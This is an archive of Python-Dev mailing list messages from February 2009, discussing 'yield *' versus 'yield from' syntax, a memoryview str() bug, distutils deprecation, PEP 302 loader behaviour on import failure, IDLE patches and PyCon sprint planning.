	<ca471dc20902060713m3ebca252l126c34b9b3c6ae4c@mail.gmail.com>
	<498D4E9D.6070405@canterbury.ac.nz>
	<f6bc9b490902070131q171671d0x216c0c15c7a53ca@mail.gmail.com>
	<498DEC0B.7030903@canterbury.ac.nz>
Message-ID: <76fd5acf0902071226r28049415h38de25b2147ff861@mail.gmail.com>

All of this debate is moot without the foundation of a common library
on which we would be building these coroutines. Any proposal of a
specific coroutine syntax is worthless without a time and community
tested coroutine implementation, which would be subject to the same
rigerous inclusion requirements as any other 3rd party library. Only
then, some time in the future, would any argument about a specific
syntax be worth real consideration.

Let's not jump the shark.

On Sat, Feb 7, 2009 at 3:16 PM, Greg Ewing <greg.ewing at canterbury.ac.nz> wrote:
> Willem Broekema wrote:
>
>> Function g violates the current limitation that generators can't
>> return with a value. So can g only be used using "yield *" then, or
>> would that limitation be removed?
>
> The limitation would be removed, in the interests
> of making it easier to use generators as coroutines.
>
> --
> Greg
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/ironfroggy%40gmail.com
>



-- 
Read my blog! I depend on your acceptance of my opinion! I am interesting!
http://techblog.ironfroggy.com/
Follow me if you're into that sort of thing: http://www.twitter.com/ironfroggy

From guido at python.org  Sat Feb  7 21:31:51 2009
From: guido at python.org (Guido van Rossum)
Date: Sat, 7 Feb 2009 12:31:51 -0800
Subject: [Python-Dev] yield * (Re: Missing operator.call)
In-Reply-To: <76fd5acf0902071226r28049415h38de25b2147ff861@mail.gmail.com>
References: <498991D9.3060407@avl.com>
	<ca471dc20902052132id4c7e0br7d489e1d540ef634@mail.gmail.com>
	<498BF062.5000407@canterbury.ac.nz> <87ljskdiyy.fsf@xemacs.org>
	<498C1D0A.4040200@canterbury.ac.nz>
	<ca471dc20902060713m3ebca252l126c34b9b3c6ae4c@mail.gmail.com>
	<498D4E9D.6070405@canterbury.ac.nz>
	<f6bc9b490902070131q171671d0x216c0c15c7a53ca@mail.gmail.com>
	<498DEC0B.7030903@canterbury.ac.nz>
	<76fd5acf0902071226r28049415h38de25b2147ff861@mail.gmail.com>
Message-ID: <ca471dc20902071231h5e7e0a65h1c7bd69cbe4c4523@mail.gmail.com>

Time to move to this to python-ideas, folks.

On Sat, Feb 7, 2009 at 12:26 PM, Calvin Spealman <ironfroggy at gmail.com> wrote:
> All of this debate is moot without the foundation of a common library
> on which we would be building these coroutines. Any proposal of a
> specific coroutine syntax is worthless without a time and community
> tested coroutine implementation, which would be subject to the same
> rigerous inclusion requirements as any other 3rd party library. Only
> then, some time in the future, would any argument about a specific
> syntax be worth real consideration.
>
> Let's not jump the shark.
>
> On Sat, Feb 7, 2009 at 3:16 PM, Greg Ewing <greg.ewing at canterbury.ac.nz> wrote:
>> Willem Broekema wrote:
>>
>>> Function g violates the current limitation that generators can't
>>> return with a value. So can g only be used using "yield *" then, or
>>> would that limitation be removed?
>>
>> The limitation would be removed, in the interests
>> of making it easier to use generators as coroutines.
>>
>> --
>> Greg
>> _______________________________________________
>> Python-Dev mailing list
>> Python-Dev at python.org
>> http://mail.python.org/mailman/listinfo/python-dev
>> Unsubscribe:
>> http://mail.python.org/mailman/options/python-dev/ironfroggy%40gmail.com
>>
>
>
>
> --
> Read my blog! I depend on your acceptance of my opinion! I am interesting!
> http://techblog.ironfroggy.com/
> Follow me if you're into that sort of thing: http://www.twitter.com/ironfroggy
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/guido%40python.org
>



-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From skippy.hammond at gmail.com  Sun Feb  8 00:13:50 2009
From: skippy.hammond at gmail.com (Mark Hammond)
Date: Sun, 08 Feb 2009 10:13:50 +1100
Subject: [Python-Dev] str() on memoryview of bytearray failing on py3k
Message-ID: <498E15AE.6060103@gmail.com>

Hi all,
   I'm not sure if the following is a bug I should report or simply an 
artifact of the implementation and/or simply the way things work on py3k:

% py30 -c "str(memoryview(bytearray((1,2,3))))"
Traceback (most recent call last):
   File "<string>", line 1, in <module>
TypeError: __str__ returned non-string (type bytes)

Cheers,

Mark

From solipsis at pitrou.net  Sun Feb  8 00:21:21 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Sat, 7 Feb 2009 23:21:21 +0000 (UTC)
Subject: [Python-Dev] str() on memoryview of bytearray failing on py3k
References: <498E15AE.6060103@gmail.com>
Message-ID: <loom.20090207T232027-741@post.gmane.org>

Mark Hammond <skippy.hammond <at> gmail.com> writes:
> 
>    I'm not sure if the following is a bug I should report or simply an 
> artifact of the implementation and/or simply the way things work on py3k:
> [...]

It's a bug.

Regards

Antoine.



From greg.ewing at canterbury.ac.nz  Sun Feb  8 02:00:47 2009
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Sun, 08 Feb 2009 14:00:47 +1300
Subject: [Python-Dev] yield * (Re: Missing operator.call)
In-Reply-To: <ca471dc20902071025l15084e2bu4fa12fa8657fa56d@mail.gmail.com>
References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz>
	<ca471dc20902052122nf85d11eq1c13ceb7fc2817ac@mail.gmail.com>
	<498BCB29.4070005@canterbury.ac.nz>
	<ca471dc20902052132id4c7e0br7d489e1d540ef634@mail.gmail.com>
	<498BF062.5000407@canterbury.ac.nz> <87ljskdiyy.fsf@xemacs.org>
	<498C1D0A.4040200@canterbury.ac.nz>
	<ca471dc20902060713m3ebca252l126c34b9b3c6ae4c@mail.gmail.com>
	<498D4E9D.6070405@canterbury.ac.nz>
	<ca471dc20902071025l15084e2bu4fa12fa8657fa56d@mail.gmail.com>
Message-ID: <498E2EBF.7090309@canterbury.ac.nz>

Guido van Rossum wrote:
> We already have yield expressions and they mean something else...

They don't have a "*" in them, though, and I don't
think the existing meaning of yield as an expression
would carry over into the "yield *" variant, so there
shouldn't be any conflict.

But if you think there will be a conflict, or that the
similarity would be too confusing, maybe the new
construct should be called something else. I'm
open to suggestions.

-- 
Greg

From glyph at divmod.com  Sun Feb  8 02:50:07 2009
From: glyph at divmod.com (glyph at divmod.com)
Date: Sun, 08 Feb 2009 01:50:07 -0000
Subject: [Python-Dev] yield * (Re: Missing operator.call)
In-Reply-To: <498E2EBF.7090309@canterbury.ac.nz>
References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz>
	<ca471dc20902052122nf85d11eq1c13ceb7fc2817ac@mail.gmail.com>
	<498BCB29.4070005@canterbury.ac.nz>
	<ca471dc20902052132id4c7e0br7d489e1d540ef634@mail.gmail.com>
	<498BF062.5000407@canterbury.ac.nz> <87ljskdiyy.fsf@xemacs.org>
	<498C1D0A.4040200@canterbury.ac.nz>
	<ca471dc20902060713m3ebca252l126c34b9b3c6ae4c@mail.gmail.com>
	<498D4E9D.6070405@canterbury.ac.nz>
	<ca471dc20902071025l15084e2bu4fa12fa8657fa56d@mail.gmail.com>
	<498E2EBF.7090309@canterbury.ac.nz>
Message-ID: <20090208015007.12555.885411350.divmod.xquotient.4298@weber.divmod.com>


On 01:00 am, greg.ewing at canterbury.ac.nz wrote:
>Guido van Rossum wrote:
>>We already have yield expressions and they mean something else...
>
>They don't have a "*" in them, though, and I don't
>think the existing meaning of yield as an expression
>would carry over into the "yield *" variant, so there
>shouldn't be any conflict.
>
>But if you think there will be a conflict, or that the
>similarity would be too confusing, maybe the new
>construct should be called something else. I'm
>open to suggestions.

I'm *already* regretting poking my head into this particular bike shed, 
but...

has anyone considered the syntax 'yield from iterable'?  i.e.

    def foo():
        yield 1
        yield 2

    def bar():
        yield from foo()
        yield from foo()

list(bar()) -> [1, 2, 1, 2]

I suggest this because (1) it's already what I say when I see the 'for' 
construct, i.e. "foo then *yield*s all results *from* bar", and (2) no 
new keywords are required.

From skippy.hammond at gmail.com  Sun Feb  8 04:05:40 2009
From: skippy.hammond at gmail.com (Mark Hammond)
Date: Sun, 08 Feb 2009 14:05:40 +1100
Subject: [Python-Dev] str() on memoryview of bytearray failing on py3k
In-Reply-To: <loom.20090207T232027-741@post.gmane.org>
References: <498E15AE.6060103@gmail.com>
	<loom.20090207T232027-741@post.gmane.org>
Message-ID: <498E4C04.8020906@gmail.com>

On 8/02/2009 10:21 AM, Antoine Pitrou wrote:
> Mark Hammond<skippy.hammond<at>  gmail.com>  writes:
>>     I'm not sure if the following is a bug I should report or simply an
>> artifact of the implementation and/or simply the way things work on py3k:
>> [...]
>
> It's a bug.

http://bugs.python.org/issue5182

Cheers,

Mark


From g.brandl at gmx.net  Sun Feb  8 11:06:18 2009
From: g.brandl at gmx.net (Georg Brandl)
Date: Sun, 08 Feb 2009 11:06:18 +0100
Subject: [Python-Dev] yield * (Re: Missing operator.call)
In-Reply-To: <20090208015007.12555.885411350.divmod.xquotient.4298@weber.divmod.com>
References: <498991D9.3060407@avl.com>
	<498BC891.4020103@canterbury.ac.nz>	<ca471dc20902052122nf85d11eq1c13ceb7fc2817ac@mail.gmail.com>	<498BCB29.4070005@canterbury.ac.nz>	<ca471dc20902052132id4c7e0br7d489e1d540ef634@mail.gmail.com>	<498BF062.5000407@canterbury.ac.nz>
	<87ljskdiyy.fsf@xemacs.org>	<498C1D0A.4040200@canterbury.ac.nz>	<ca471dc20902060713m3ebca252l126c34b9b3c6ae4c@mail.gmail.com>	<498D4E9D.6070405@canterbury.ac.nz>	<ca471dc20902071025l15084e2bu4fa12fa8657fa56d@mail.gmail.com>	<498E2EBF.7090309@canterbury.ac.nz>
	<20090208015007.12555.885411350.divmod.xquotient.4298@weber.divmod.com>
Message-ID: <gmmarc$k1a$1@ger.gmane.org>

glyph at divmod.com schrieb:
> On 01:00 am, greg.ewing at canterbury.ac.nz wrote:
>>Guido van Rossum wrote:
>>>We already have yield expressions and they mean something else...
>>
>>They don't have a "*" in them, though, and I don't
>>think the existing meaning of yield as an expression
>>would carry over into the "yield *" variant, so there
>>shouldn't be any conflict.
>>
>>But if you think there will be a conflict, or that the
>>similarity would be too confusing, maybe the new
>>construct should be called something else. I'm
>>open to suggestions.
> 
> I'm *already* regretting poking my head into this particular bike shed, 
> but...
> 
> has anyone considered the syntax 'yield from iterable'?  i.e.

Yes, basically the "yield *" and "yield from" are the two possibilities
that come up every once in a while.

Would that someone wrote a PEP, so that we can get a decision at some time.

Georg

-- 
Thus spake the Lord: Thou shalt indent with four spaces. No more, no less.
Four shall be the number of spaces thou shalt indent, and the number of thy
indenting shall be four. Eight shalt thou not indent, nor either indent thou
two, excepting that thou then proceed to four. Tabs are right out.


From ziade.tarek at gmail.com  Sun Feb  8 11:15:46 2009
From: ziade.tarek at gmail.com (=?ISO-8859-1?Q?Tarek_Ziad=E9?=)
Date: Sun, 8 Feb 2009 11:15:46 +0100
Subject: [Python-Dev] Mark old distutils as deprecated
Message-ID: <94bdd2610902080215u744941adwa5119eb22827029e@mail.gmail.com>

Hello

To avoid confusion, as suggested by Akira who works on cleaning the
Distutils pages on the python.org website,
I would like to move http://svn.python.org/view/distutils/trunk into a
branch and add a README.txt in an empty trunk
to explain the current status of the package.

Any objection ?

Regards,
Tarek

-- 
Tarek Ziad? | Association AfPy | www.afpy.org
Blog FR | http://programmation-python.org
Blog EN | http://tarekziade.wordpress.com/

From amk at amk.ca  Sun Feb  8 14:26:13 2009
From: amk at amk.ca (A.M. Kuchling)
Date: Sun, 8 Feb 2009 08:26:13 -0500
Subject: [Python-Dev] Mark old distutils as deprecated
In-Reply-To: <94bdd2610902080215u744941adwa5119eb22827029e@mail.gmail.com>
References: <94bdd2610902080215u744941adwa5119eb22827029e@mail.gmail.com>
Message-ID: <20090208132613.GA5711@amk.local>

On Sun, Feb 08, 2009 at 11:15:46AM +0100, Tarek Ziad? wrote:
> To avoid confusion, as suggested by Akira who works on cleaning the
> Distutils pages on the python.org website,
> I would like to move http://svn.python.org/view/distutils/trunk into a
> branch and add a README.txt in an empty trunk
> to explain the current status of the package.

That seems fine to me.

--amk

From aahz at pythoncraft.com  Sun Feb  8 23:37:51 2009
From: aahz at pythoncraft.com (Aahz)
Date: Sun, 8 Feb 2009 14:37:51 -0800
Subject: [Python-Dev] IDLE reading IDLESTARTUP or PYTHONSTARTUP
	on	restart
In-Reply-To: <p06240800c5b386cd54bf@[10.0.1.221]>
References: <p06240800c5b386cd54bf@[10.0.1.221]>
Message-ID: <20090208223751.GA13870@panix.com>

On Sat, Feb 07, 2009, Mitchell L Model wrote:
>
> I have a small change (shown below) to PyShell.py in idlelib that causes 
> the subprocess interpreter to read IDLESTARTUP or PYTHONSTARTUP each time 
> it restarts. To me this would make IDLE much more useful for myself and 
> students I teach.  It isn't quite clear what behavior to install with the 
> enabling patch, so I would like some feedback before submitting it. 

You haven't received any feedback so far, so I recommend going ahead and
submitting the patch to ensure that it doesn't get lost.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

Weinberg's Second Law: If builders built buildings the way programmers wrote 
programs, then the first woodpecker that came along would destroy civilization.

From greg.ewing at canterbury.ac.nz  Mon Feb  9 00:24:15 2009
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Mon, 09 Feb 2009 12:24:15 +1300
Subject: [Python-Dev] yield * (Re: Missing operator.call)
In-Reply-To: <20090208015007.12555.885411350.divmod.xquotient.4298@weber.divmod.com>
References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz>
	<ca471dc20902052122nf85d11eq1c13ceb7fc2817ac@mail.gmail.com>
	<498BCB29.4070005@canterbury.ac.nz>
	<ca471dc20902052132id4c7e0br7d489e1d540ef634@mail.gmail.com>
	<498BF062.5000407@canterbury.ac.nz> <87ljskdiyy.fsf@xemacs.org>
	<498C1D0A.4040200@canterbury.ac.nz>
	<ca471dc20902060713m3ebca252l126c34b9b3c6ae4c@mail.gmail.com>
	<498D4E9D.6070405@canterbury.ac.nz>
	<ca471dc20902071025l15084e2bu4fa12fa8657fa56d@mail.gmail.com>
	<498E2EBF.7090309@canterbury.ac.nz>
	<20090208015007.12555.885411350.divmod.xquotient.4298@weber.divmod.com>
Message-ID: <498F699F.9090905@canterbury.ac.nz>

glyph at divmod.com wrote:

> has anyone considered the syntax 'yield from iterable'?

That would be reasonable, too. I don't really have any
strong feelings about the syntax at the moment, except
that I'd like it to be something reasonably short so
that embedding it in an expression is a feasible thing
to do.

-- 
Greg

From ben at redfrontdoor.org  Mon Feb  9 15:07:10 2009
From: ben at redfrontdoor.org (Ben North)
Date: Mon, 9 Feb 2009 14:07:10 +0000
Subject: [Python-Dev] Partial function application 'from the right'
Message-ID: <5169ff10902090607k28bbb8ffh6eced55f7d2a68ef@mail.gmail.com>

Hi,

As suggested, I've created

   http://bugs.python.org/issue5191

to hold the patches for this feature, and the relation to the
'partial.skip' feature request.  Could somebody with appropriate
privileges close the issue as rejected, if indeed that is the decision?

Thanks,

Ben.

From mal at egenix.com  Mon Feb  9 16:24:38 2009
From: mal at egenix.com (M.-A. Lemburg)
Date: Mon, 09 Feb 2009 16:24:38 +0100
Subject: [Python-Dev] Mark old distutils as deprecated
In-Reply-To: <94bdd2610902080215u744941adwa5119eb22827029e@mail.gmail.com>
References: <94bdd2610902080215u744941adwa5119eb22827029e@mail.gmail.com>
Message-ID: <49904AB6.30205@egenix.com>

On 2009-02-08 11:15, Tarek Ziad? wrote:
> Hello
> 
> To avoid confusion, as suggested by Akira who works on cleaning the
> Distutils pages on the python.org website,
> I would like to move http://svn.python.org/view/distutils/trunk into a
> branch and add a README.txt in an empty trunk
> to explain the current status of the package.
> 
> Any objection ?

No.

It be worthwhile keeping just the setup code and adjust that
to take the distutils package from the python/ dir in order to
build separate releases of the code for upload to PyPI (ones
that basically provide the code as released in Python 2.x as
separate download for 2.(x-1) and 2.(x-2)).

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Services directly from the Source  (#1, Feb 09 2009)
>>> Python/Zope Consulting and Support ...        http://www.egenix.com/
>>> mxODBC.Zope.Database.Adapter ...             http://zope.egenix.com/
>>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________

::: Try our new mxODBC.Connect Python Database Interface for free ! ::::


   eGenix.com Software, Skills and Services GmbH  Pastor-Loeh-Str.48
    D-40764 Langenfeld, Germany. CEO Dipl.-Math. Marc-Andre Lemburg
           Registered at Amtsgericht Duesseldorf: HRB 46611
               http://www.egenix.com/company/contact/

From asmodai at in-nomine.org  Mon Feb  9 20:10:05 2009
From: asmodai at in-nomine.org (Jeroen Ruigrok van der Werven)
Date: Mon, 9 Feb 2009 20:10:05 +0100
Subject: [Python-Dev] Pycon and Randall Munroe
Message-ID: <20090209191005.GG58127@nexus.in-nomine.org>

Whoever thought this one up [1], thank you for making me almost choke on my
meal due to laughing fits.  :-)

[1] http://pycon.blogspot.com/2009/02/randall-munroe.html

-- 
Jeroen Ruigrok van der Werven <asmodai(-at-)in-nomine.org> / asmodai
????? ?????? ??? ?? ??????
http://www.in-nomine.org/ | http://www.rangaku.org/ | GPG: 2EAC625B
Earth to earth, ashes to ashes, dust to dust...

From aahz at pythoncraft.com  Mon Feb  9 20:50:00 2009
From: aahz at pythoncraft.com (Aahz)
Date: Mon, 9 Feb 2009 11:50:00 -0800
Subject: [Python-Dev] Pycon and Randall Munroe
In-Reply-To: <20090209191005.GG58127@nexus.in-nomine.org>
References: <20090209191005.GG58127@nexus.in-nomine.org>
Message-ID: <20090209195000.GA18565@panix.com>

On Mon, Feb 09, 2009, Jeroen Ruigrok van der Werven wrote:
>
> Whoever thought this one up [1], thank you for making me almost choke on my
> meal due to laughing fits.  :-)
> 
> [1] http://pycon.blogspot.com/2009/02/randall-munroe.html

Primary credit for the writing goes to Catherine Devlin, who runs
publicity for PyCon, but it was to some extent a group effort on the
pycon-organizers list.  PyCon is all about the volunteering!
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

Weinberg's Second Law: If builders built buildings the way programmers wrote 
programs, then the first woodpecker that came along would destroy civilization.

From guido at python.org  Mon Feb  9 20:51:26 2009
From: guido at python.org (Guido van Rossum)
Date: Mon, 9 Feb 2009 11:51:26 -0800
Subject: [Python-Dev] Pycon and Randall Munroe
In-Reply-To: <20090209195000.GA18565@panix.com>
References: <20090209191005.GG58127@nexus.in-nomine.org>
	<20090209195000.GA18565@panix.com>
Message-ID: <ca471dc20902091151q38d25a04geb2651d3fdc7a028@mail.gmail.com>

On Mon, Feb 9, 2009 at 11:50 AM, Aahz <aahz at pythoncraft.com> wrote:
> On Mon, Feb 09, 2009, Jeroen Ruigrok van der Werven wrote:
>>
>> Whoever thought this one up [1], thank you for making me almost choke on my
>> meal due to laughing fits.  :-)
>>
>> [1] http://pycon.blogspot.com/2009/02/randall-munroe.html
>
> Primary credit for the writing goes to Catherine Devlin, who runs
> publicity for PyCon, but it was to some extent a group effort on the
> pycon-organizers list.  PyCon is all about the volunteering!

Very cool. Has anyone contacted Randall about giving a keynote at PyCon?

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From krstic at solarsail.hcs.harvard.edu  Mon Feb  9 20:53:43 2009
From: krstic at solarsail.hcs.harvard.edu (=?UTF-8?Q?Ivan_Krsti=C4=87?=)
Date: Mon, 9 Feb 2009 14:53:43 -0500
Subject: [Python-Dev] Pycon and Randall Munroe
In-Reply-To: <ca471dc20902091151q38d25a04geb2651d3fdc7a028@mail.gmail.com>
References: <20090209191005.GG58127@nexus.in-nomine.org>
	<20090209195000.GA18565@panix.com>
	<ca471dc20902091151q38d25a04geb2651d3fdc7a028@mail.gmail.com>
Message-ID: <903B8B0E-3AB8-48A5-9037-E5B4D2343967@solarsail.hcs.harvard.edu>

On Feb 9, 2009, at 2:51 PM, Guido van Rossum wrote:
> Very cool. Has anyone contacted Randall about giving a keynote at  
> PyCon?


Yes, haven't heard back yet.

--
Ivan Krsti? <krstic at solarsail.hcs.harvard.edu> | http://radian.org


From aahz at pythoncraft.com  Mon Feb  9 20:54:16 2009
From: aahz at pythoncraft.com (Aahz)
Date: Mon, 9 Feb 2009 11:54:16 -0800
Subject: [Python-Dev] Pycon and Randall Munroe
In-Reply-To: <ca471dc20902091151q38d25a04geb2651d3fdc7a028@mail.gmail.com>
References: <20090209191005.GG58127@nexus.in-nomine.org>
	<20090209195000.GA18565@panix.com>
	<ca471dc20902091151q38d25a04geb2651d3fdc7a028@mail.gmail.com>
Message-ID: <20090209195416.GC18565@panix.com>

On Mon, Feb 09, 2009, Guido van Rossum wrote:
> On Mon, Feb 9, 2009 at 11:50 AM, Aahz <aahz at pythoncraft.com> wrote:
>> On Mon, Feb 09, 2009, Jeroen Ruigrok van der Werven wrote:
>>>
>>> Whoever thought this one up [1], thank you for making me almost choke on my
>>> meal due to laughing fits.  :-)
>>>
>>> [1] http://pycon.blogspot.com/2009/02/randall-munroe.html
>>
>> Primary credit for the writing goes to Catherine Devlin, who runs
>> publicity for PyCon, but it was to some extent a group effort on the
>> pycon-organizers list.  PyCon is all about the volunteering!
> 
> Very cool. Has anyone contacted Randall about giving a keynote at PyCon?

We're discussing it, but unless we want to conduct a public campaign to
push him to come, let's keep it low-key for now.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

Weinberg's Second Law: If builders built buildings the way programmers wrote 
programs, then the first woodpecker that came along would destroy civilization.

From jnoller at gmail.com  Mon Feb  9 21:04:01 2009
From: jnoller at gmail.com (Jesse Noller)
Date: Mon, 9 Feb 2009 15:04:01 -0500
Subject: [Python-Dev] Pycon and Randall Munroe
In-Reply-To: <ca471dc20902091151q38d25a04geb2651d3fdc7a028@mail.gmail.com>
References: <20090209191005.GG58127@nexus.in-nomine.org>
	<20090209195000.GA18565@panix.com>
	<ca471dc20902091151q38d25a04geb2651d3fdc7a028@mail.gmail.com>
Message-ID: <4222a8490902091204j66b348bcs48bb45ab462077a4@mail.gmail.com>

On Mon, Feb 9, 2009 at 2:51 PM, Guido van Rossum <guido at python.org> wrote:
> On Mon, Feb 9, 2009 at 11:50 AM, Aahz <aahz at pythoncraft.com> wrote:
>> On Mon, Feb 09, 2009, Jeroen Ruigrok van der Werven wrote:
>>>
>>> Whoever thought this one up [1], thank you for making me almost choke on my
>>> meal due to laughing fits.  :-)
>>>
>>> [1] http://pycon.blogspot.com/2009/02/randall-munroe.html
>>
>> Primary credit for the writing goes to Catherine Devlin, who runs
>> publicity for PyCon, but it was to some extent a group effort on the
>> pycon-organizers list.  PyCon is all about the volunteering!
>
> Very cool. Has anyone contacted Randall about giving a keynote at PyCon?
>
> --
> --Guido van Rossum (home page: http://www.python.org/~guido/)

+1000 on this one.

From bcannon at gmail.com  Mon Feb  9 22:56:35 2009
From: bcannon at gmail.com (bcannon at gmail.com)
Date: Mon, 09 Feb 2009 21:56:35 +0000
Subject: [Python-Dev] clarifying PEP 302 loader responsibilities upon failure
Message-ID: <0016364c5b2fb9b7de0462837147@google.com>

Guido and I were discussing what a loader should be responsible for when  
load_module is called and an exception is raised in relation to sys.modules  
as PEP 302 says nothing about the topic.

We both agree that if the loader added a module to sys.modules it should be  
removed, otherwise it should be left alone.

Assuming no one disagrees I will update the PEP to specify that this is the  
expected job of loaders.

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090209/85e8d837/attachment.htm>

From guido at python.org  Mon Feb  9 23:02:13 2009
From: guido at python.org (Guido van Rossum)
Date: Mon, 9 Feb 2009 14:02:13 -0800
Subject: [Python-Dev] clarifying PEP 302 loader responsibilities upon
	failure
In-Reply-To: <0016364c5b2fb9b7de0462837147@google.com>
References: <0016364c5b2fb9b7de0462837147@google.com>
Message-ID: <ca471dc20902091402o482280b1j9fa59b1b7a73e536@mail.gmail.com>

On Mon, Feb 9, 2009 at 1:56 PM,  <bcannon at gmail.com> wrote:
> Guido and I were discussing what a loader should be responsible for when
> load_module is called and an exception is raised in relation to sys.modules
> as PEP 302 says nothing about the topic.
>
> We both agree that if the loader added a module to sys.modules it should be
> removed, otherwise it should be left alone.
>
> Assuming no one disagrees I will update the PEP to specify that this is the
> expected job of loaders.

(Note that currently most loaders we've looked at end up removing the
module unconditionally, as this is what PyImport_ExecCodeModuleEx()
does. PyImport_ReloadModule() has a super-duper hack to save the
module object and put it back into sys.modules:

	if (newm == NULL) {
		/* load_module probably removed name from modules because of
		 * the error.  Put back the original module object.  We're
		 * going to return NULL in this case regardless of whether
		 * replacing name succeeds, so the return value is ignored.
		 */
		PyDict_SetItemString(modules, name, m);
	}

If we could get conforming loaders to behave as proposed, we wouldn't
need this ugly hack.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From jacob at jacobian.org  Tue Feb 10 02:27:09 2009
From: jacob at jacobian.org (Jacob Kaplan-Moss)
Date: Mon, 9 Feb 2009 19:27:09 -0600
Subject: [Python-Dev] PyCon 2009: Call for sprint projects
Message-ID: <be4ebbe10902091727l4edff9cdw9bea33f630b4cafa@mail.gmail.com>

Python-related projects: join the PyCon Development Sprints!

The development sprints are a key part of PyCon, a chance for the contributors
to open-source projects to get together face-to-face for up to four days of
intensive learning and development. Newbies sit at the same table as the gurus,
go out for lunch and dinner together, and have a great time while advancing
their project. Sprints are one of the best parts of PyCon; in 2008 over 250
sprinters came for at least one day!

If your project would like to sprint at PyCon, now is the time to let us know.
We'll collect your info and publish it so that participants will have time to
make plans. We'll need to get the word out early so that folks who want to
sprint have time to make travel arrangements.

In the past, some have been reluctant to commit to sprinting: some may not know
what sprinting is all about; others may think that they're not "qualified" to
sprint. We're on an ongoing mission to change that perception:

* We'll help promote your sprint. The PyCon website, the PyCon blog, the PyCon
  podcast, and press releases will be there for you.

* PyCon attendees will be asked to commit to sprints on the registration form,
  which will include a list of sprints with links to further info.

* We will be featuring a "How To Sprint" session on Sunday afternoon, followed
  by sprint-related tutorials, all for free. This is a great opportunity to
  introduce your project to prospective contributors. We'll have more details
  about this later.

* Some sponsors are helping out with the sprints as well.

There's also cost. Although the sprinting itself is free, sprints have
associated time and hotel costs. We can't do anything about the time cost, but
we may have some complimentary rooms and funding available for sprinters. We
will have more to say on financial aid later.

Those who want to lead a sprint should send the following information
to pycon-organizers at python.org:

* Project/sprint name

* Project URL

* The name and contact info (email and/or telephone) for the sprint leader(s)
  and other contributors who will attend the sprint

* Instructions for accessing the project's code repository and documentation (or
  a URL)

* Pointers to new contributor information (setup, etc.)

* Any special requirements (projector? whiteboard? flux capacitor?)

We will add this information to the PyCon website and set up a wiki page for you
(or we can link to yours). Projects should provide a list of goals (bugs to fix,
features to add, docs to write, etc.), especially some goals for beginners, to
attract new sprinters. The more detail you put there, the more prepared your
sprinters will be, and the more results you'll get.

In 2008 there were sprints for Python, TurboGears, Pylons, Django, Jython, WSGI,
PyGame, Bazaar, Trac, PyCon-Tech, OLPC, Orbited, PyPy, Grok, and many others. We
would like to see all these and more!

Sprints will start with an introductory session on Sunday, March 29; this
session will begin immedately after PyCon's scheduled portion ends. The sprints
themselves will run from Monday, March 30 through Thursday, April 2, 2009.

You can find all these details and more at http://us.pycon.org/2009/sprints/.

If you have any questions, feel free to contact me directly.
Thank you very much, and happy coding!

Jacob Kaplan-Moss
<jacob at jacobian.org>

From nad at acm.org  Tue Feb 10 05:18:36 2009
From: nad at acm.org (Ned Deily)
Date: Mon, 09 Feb 2009 20:18:36 -0800
Subject: [Python-Dev] Fwd: IDLE on a Mac
References: <mailman.40781.1233933083.3486.python-3000@python.org>
	<77F954DE-354D-4D9B-8C25-54597052E0D0@cox.net>
	<nad-E370E7.08321206022009@news.gmane.org>
Message-ID: <nad-D2A4FE.20183609022009@news.gmane.org>

In article <nad-E370E7.08321206022009 at news.gmane.org>,
 Ned Deily <nad at acm.org> wrote:
> In article <77F954DE-354D-4D9B-8C25-54597052E0D0 at cox.net>,
>  ringhome <ringhome at cox.net> wrote:
> > > I am, however, having a small difficulty at home on my Mac.   Not  
> > > willing to wait for a nice, pre-packaged bundle, I went and  
> > > downloaded the files and built 3.0 myself.  The issue comes from  
> > > launching the IDLE.app from the Mac GUI versus a Terminal Shell.   
> > > From the GUI, IDLE launches fine, but the FILE dropdown menu only  
> > > has "Recent Files" in it.  No way to create new one, save, etc.
> Definitely not a feature!  There are a few known problems with 3.x IDLE 
> on OS X.  I'm in the final stages of testing several patches which, 
> among other things should solve that problem.

Perhaps there might help:
  <http://bugs.python.org/issue5194>
  <http://bugs.python.org/issue5195>
  <http://bugs.python.org/issue5196>

-- 
 Ned Deily,
 nad at acm.org


From ajaksu at gmail.com  Tue Feb 10 14:23:28 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Tue, 10 Feb 2009 11:23:28 -0200
Subject: [Python-Dev] Tracker archeology
Message-ID: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>

Hi all,

For the past two days I've been doing some housekeeping
*cough*spamming*cough* on the tracker, mostly on ancient and/or easy
bugs. So far, ten bugs have been closed (thanks Antoine, Barry,
Benjamin, Guilherme, Martin and Raymond). I nominated some other bugs
(below) for closing and added a few simple patches, with a couple more
pending feedback.

If anyone is interested in being added as nosy for any category of
bugs, let me know and I'll do that as I scan the tracker.

Iff this kind of Bug-Day-ish work is desirable, doesn't disrupt real
work and people agree the workflow would be better, I'd like to have
developer rights in the tracker, as per Antoine's suggestion. FWIW, I
have no problem with the current situation.

Talking about Bug Days, I see lots of easy bugs, some with outdated
patches. Is there any plan of doing a Bug Day around PyCon time?

Best regards,
Daniel

Bugs nominated for express closing:

http://bugs.python.org/issue1103926 email.base64MIME.header_encode vs RFC 1522

http://bugs.python.org/issue727898 Support for sending multipart form data

